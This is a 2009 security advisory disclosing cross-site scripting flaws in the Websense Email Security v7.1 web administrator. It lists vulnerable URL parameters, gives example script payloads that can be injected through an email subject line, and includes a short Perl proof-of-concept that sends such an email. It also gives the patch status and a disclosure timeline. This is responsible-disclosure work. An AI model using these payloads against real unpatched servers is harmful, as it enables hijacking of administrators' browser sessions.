Websense Email Security - Cross-Site Scripting

🗓️ 20 Oct 2009 00:00:00Reported by Nikolas SotiriuType
Websense Email Security Cross-Site Scripting Low Severity NSOADV-2009-003 Advisor
_________________________________________
Security Advisory NSOADV-2009-003
_________________________________________
_________________________________________


  Title:                  Websense Email Security Cross Site Scripting
  Severity:               Low
  Advisory ID:            NSOADV-2009-003
  Found Date:             28.09.2009
  Date Reported:          01.10.2009
  Release Date:           20.10.2009
  Author:                 Nikolas Sotiriu
  Mail:                   nso-research (at) sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2009-003.txt
  Vendor:                 Websense (http://www.websense.com/)
  Affected Products:      Websense Email Security v7.1
                          Personal Email Manager v7.1
  Not Affected Products:  Websense Email Security v7.1 Hotfix 4
                          Personal Email Manager v7.1 Hotfix 4
  Remote Exploitable:     Yes
  Local Exploitable:      Yes
  Patch Status:           Patched with Hotfix 4
  Disclosure Policy:      http://sotiriu.de/policy.html
  Thanks to:              Thierry Zoller: for the permission to use his
                                          Policy



Background:
===========

Websense Email Security software incorporates multiple layers of
real-time Web security and data security intelligence to provide
leading email protection from converged email and Web 2.0 threats.
It helps to manage outbound data leaks and compliance risk, and enables
a consolidated security strategy with the trusted leader in Essential
Information Protection.

(Product description from Websense Website)

The Websense Email Security Web Administrator is a webfrontend, which
enables you to access the message administration, directory management
and to view the log.



Description:
============

1. XSS in webfrontend:
----------------------

The webfrontend do not properly sanitize some variables before being
returned to the user.

http://<target>:8181/web/msgList/viewmsg/actions/msgAnalyse.asp \
?Queue=Network%20Security&FileName=[XSS]&IsolatedMessageID=[XSS] \
&ServerName=[XSS]&Dictionary=[XSS]&Scoring=[XSS]&MessagePart=[XSS]

http://<target>:8181/web/msgList/viewmsg/actions/msgForwardToRis \
kFilter.asp?Queue=[XSS]&FileName=[XSS]&IsolatedMessageID=[XSS]& \
ServerName=[XSS]

http://<target>:8181/web/msgList/viewmsg/viewHeaders.asp?Queue= \
[XSS]&FileName=[XSS]&IsolatedMessageID=[XSS]&ServerName=[XSS]

This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of the Web Administrator frontend.


2. XSS in webfrontend through a Mail Subject:
---------------------------------------------

The Subject of an email sent through the Websense Mail Security
server is not properly sanitized before shown in the Web Administrator
frontend.

Script code like "><script>alert('X')</script> will be executed in
the users's browser in context of the Web Administrator frontend.

The Mail has to be hold in a Queue to execute the code if the
administrator checks it. A Subject like

VIAGRA"><script>alert('XSS')</script>

will result in a hold in the Anti Spam Queue.



Proof of Concept :
==================

#!/usr/bin/perl
use MIME::Lite;
use Net::SMTP;

(($server = $ARGV[0]) && ($rcpt = $ARGV[1])) || die "Usage: $0",
"<server> <Recipient> \n";

my $from_address = '<[email protected]>';
my $to_address = "<" . $rcpt . ">";
my $mail_host = $server;

my $subject = 'VIAGRA XSS File "><BODY ONLOAD=alert(\'XSS\')>';
my $message_body = "XSS Test File";

$msg = MIME::Lite->new (
  From => $from_address,
  To => $to_address,
  Subject => $subject,
  Type =>'multipart/mixed'
) or die "Error creating multipart container: $!\n";

$msg->attach (
  Type => 'TEXT',
  Data => $message_body
) or die "Error adding the text message part: $!\n";

MIME::Lite->send('smtp', $mail_host, Timeout=>60);
$msg->send;



Solution:
=========

Vendor released a patch.

http://tinyurl.com/yhe3hqa



Disclosure Timeline (YYYY/MM/DD):
=================================

2009.09.28: Vulnerability found
2009.10.01: Ask for a PGP Key
2009.10.01: Websense sent there PGP Key
2009.10.01: Sent PoC, Advisory, Disclosure policy and planned disclosure
            date to Vendor
2009.10.08: Websense verifies the finding
2009.10.13: Websense fixed it. The path will be available in Version 7.2
            which will be released in ~2 weeks
2009.10.13: Ask for a list of affected versions/products and changed the
            release date to 2009.10.29.
            (no response)
2009.10.20: Found the KB article and the Hotfix on Websense website
2009.10.20: Release of this advisory
20 Oct 2009 00:00Current
7.4High risk
Vulners AI Score7.4